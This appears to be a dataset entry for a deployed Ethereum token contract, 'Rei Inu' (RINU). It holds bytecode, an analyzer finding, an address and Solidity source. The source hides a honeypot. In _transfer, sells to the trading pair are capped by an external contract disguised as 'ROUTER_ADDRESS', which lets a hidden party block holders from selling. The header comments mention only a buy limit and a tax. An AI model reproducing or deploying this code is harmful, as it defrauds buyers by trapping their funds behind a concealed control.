fffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134690919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105da81600e5461134690919063ffffffff16565b600e819055506105f583600c546113f090919063ffffffff16565b600c81905550505050565b60606002805461060f906126f9565b80601f016020809104026020016040519081016040528092919081815260200182805461063b906126f9565b80156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b5050505050905090565b60006106a661069f611390565b848461144e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073790612777565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082290612777565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561089b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089290612809565b60405180910390fd5b6108c881604051806060016040528060228152602001612f9d60229139846116199092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600f60009054906101000a900460ff16905090565b600069152d02c7e14af6800000905090565b600061094684848461167d565b610a0784610952611390565b610a0285604051806060016040528060288152602001612fe560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109b8611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116199092919063ffffffff16565b61144e565b600190509392505050565b6000600e54821115610a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a509061289b565b60405180910390fd5b6000610a63611d81565b9050610a7881846112fc90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b6000610b40610aa4611390565b84610b3b8560056000610ab5611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b61144e565b6001905092915050565b600069152d02c7e14af6800000831115610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9090612907565b60405180910390fd5b81610bb8576000610ba984611398565b50505050905080915050610bce565b6000610bc384611398565b505050915050809150505b92915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c25611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca990612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d78611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612777565b60405180910390fd5b60011515600f60009054906101000a900460ff1615151415610f70576000600f60006101000a81548160ff021916908315150217905550610f8c565b6001600f60006101000a81548160ff0219169083151502179055505b565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461101c906126f9565b80601f0160208091040260200160405190810160405280929190818152602001828054611048906126f9565b80156110955780601f1061106a57610100808354040283529160200191611095565b820191906000526020600020905b81548152906001019060200180831161107857829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461112f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112690612777565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061124d611197611390565b846112488560405180606001604052806025815260200161300d60259139600560006111c1611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116199092919063ffffffff16565b61144e565b6001905092915050565b600061126b611264611390565b848461167d565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061133e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dac565b905092915050565b600061138883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611619565b905092915050565b600033905090565b60008060008060008060006113ac88611e0f565b9150915060006113ba611d81565b905060008060006113cc8c8686611e61565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113ff91906129c2565b905083811015611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612a64565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612af6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612b88565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c91906124bd565b60405180910390a3505050565b6000838311158290611661576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116589190612338565b60405180910390fd5b50600083856116709190612ba8565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e490612c4e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175490612ce0565b60405180910390fd5b600081116117a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179790612d72565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118415750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561188a5760008114611889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188090612db8565b60405180910390fd5b5b60011515600f60009054906101000a900460ff16151514806118de57506118af611ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061191b57506118ec611ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d2557600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156119c35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b7657611a3481604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116199092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac981600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b6991906124bd565b60405180910390a3611d20565b611be281604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116199092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c7781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d1791906124bd565b60405180910390a35b611d7c565b60011515600f60009054906101000a900460ff16151514611d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7290612db8565b60405180910390fd5b5b505050565b6000806000611d8e611ee9565b91509150611da581836112fc90919063ffffffff16565b9250505090565b60008083118290611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea9190612338565b60405180910390fd5b5060008385611e029190612e07565b9050809150509392505050565b6000806000611e3b6003611e2d6064876112fc90919063ffffffff16565b6121bc90919063ffffffff16565b90506000611e52828661134690919063ffffffff16565b90508082935093505050915091565b600080600080611e7a85886121bc90919063ffffffff16565b90506000611e9186886121bc90919063ffffffff16565b90506000611ea8828461134690919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e549050600069152d02c7e14af6800000905060005b600b8054905081101561216f578260076000600b8481548110611f2b57611f2a612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061201957508160086000600b8481548110611fb157611fb0612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561203857600e5469152d02c7e14af6800000945094505050506121b8565b6120c860076000600b848154811061205357612052612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461134690919063ffffffff16565b925061215a60086000600b84815481106120e5576120e4612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361134690919063ffffffff16565b9150808061216790612e67565b915050611f05565b5061218f69152d02c7e14af6800000600e546112fc90919063ffffffff16565b8210156121af57600e5469152d02c7e14af68000009350935050506121b8565b81819350935050505b9091565b6000808314156121cf5760009050612231565b600082846121dd9190612eb0565b90508284826121ec9190612e07565b1461222c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222390612f7c565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b61224f8161223c565b811461225a57600080fd5b50565b60008135905061226c81612246565b92915050565b60006020828403121561228857612287612237565b5b60006122968482850161225d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d95780820151818401526020810190506122be565b838111156122e8576000848401525b50505050565b6000601f19601f8301169050919050565b600061230a8261229f565b61231481856122aa565b93506123248185602086016122bb565b61232d816122ee565b840191505092915050565b6000602082019050818103600083015261235281846122ff565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123858261235a565b9050919050565b6123958161237a565b81146123a057600080fd5b50565b6000813590506123b28161238c565b92915050565b600080604083850312156123cf576123ce612237565b5b60006123dd858286016123a3565b92505060206123ee8582860161225d565b9150509250929050565b60008115159050919050565b61240d816123f8565b82525050565b60006020820190506124286000830184612404565b92915050565b60006020828403121561244457612443612237565b5b6000612452848285016123a3565b91505092915050565b60008060006060848603121561247457612473612237565b5b6000612482868287016123a3565b93505060206124938682870161225d565b92505060406124a48682870161225d565b9150509250925092565b6124b78161223c565b82525050565b60006020820190506124d260008301846124ae565b92915050565b6000806000606084860312156124f1576124f0612237565b5b60006124ff868287016123a3565b9350506020612510868287016123a3565b92505060406125218682870161225d565b9150509250925092565b600060ff82169050919050565b6125418161252b565b82525050565b600060208201905061255c6000830184612538565b92915050565b61256b816123f8565b811461257657600080fd5b50565b60008135905061258881612562565b92915050565b600080604083850312156125a5576125a4612237565b5b60006125b38582860161225d565b92505060206125c485828601612579565b9150509250929050565b6125d78161237a565b82525050565b60006020820190506125f260008301846125ce565b92915050565b6000806040838503121561260f5761260e612237565b5b600061261d858286016123a3565b925050602061262e858286016123a3565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612694602c836122aa565b915061269f82612638565b604082019050919050565b600060208201905081810360008301526126c381612687565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061271157607f821691505b60208210811415612725576127246126ca565b5b50919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b6000612761601d836122aa565b915061276c8261272b565b602082019050919050565b6000602082019050818103600083015261279081612754565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b60006127f3602c836122aa565b91506127fe82612797565b604082019050919050565b60006020820190508181036000830152612822816127e6565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612885602a836122aa565b915061289082612829565b604082019050919050565b600060208201905081810360008301526128b481612878565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b60006128f1601f836122aa565b91506128fc826128bb565b602082019050919050565b60006020820190508181036000830152612920816128e4565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061295d6020836122aa565b915061296882612927565b602082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129cd8261223c565b91506129d88361223c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c612993565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a4e601b836122aa565b9150612a5982612a18565b602082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ae06024836122aa565b9150612aeb82612a84565b604082019050919050565b60006020820190508181036000830152612b0f81612ad3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b726022836122aa565b9150612b7d82612b16565b604082019050919050565b60006020820190508181036000830152612ba181612b65565b9050919050565b6000612bb38261223c565b9150612bbe8361223c565b925082821015612bd157612bd0612993565b5b828203905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c386025836122aa565b9150612c4382612bdc565b604082019050919050565b60006020820190508181036000830152612c6781612c2b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612cca6023836122aa565b9150612cd582612c6e565b604082019050919050565b60006020820190508181036000830152612cf981612cbd565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d5c6029836122aa565b9150612d6782612d00565b604082019050919050565b60006020820190508181036000830152612d8b81612d4f565b9050919050565b50565b6000612da26000836122aa565b9150612dad82612d92565b600082019050919050565b60006020820190508181036000830152612dd181612d95565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e128261223c565b9150612e1d8361223c565b925082612e2d57612e2c612dd8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e728261223c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ea557612ea4612993565b5b600182019050919050565b6000612ebb8261223c565b9150612ec68361223c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eff57612efe612993565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f666021836122aa565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d1a225b80a8c02f5cf1989d73d1a84573f69c6fc5e91c858e67b0ca57cc100e264736f6c63430008080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 2,607 |
0xFaAD8f5289D49E1861551DA86757A2680fE8E382
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/reiinu
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="RINU";
string constant TOKEN_NAME="Rei Inu";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract StandardToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
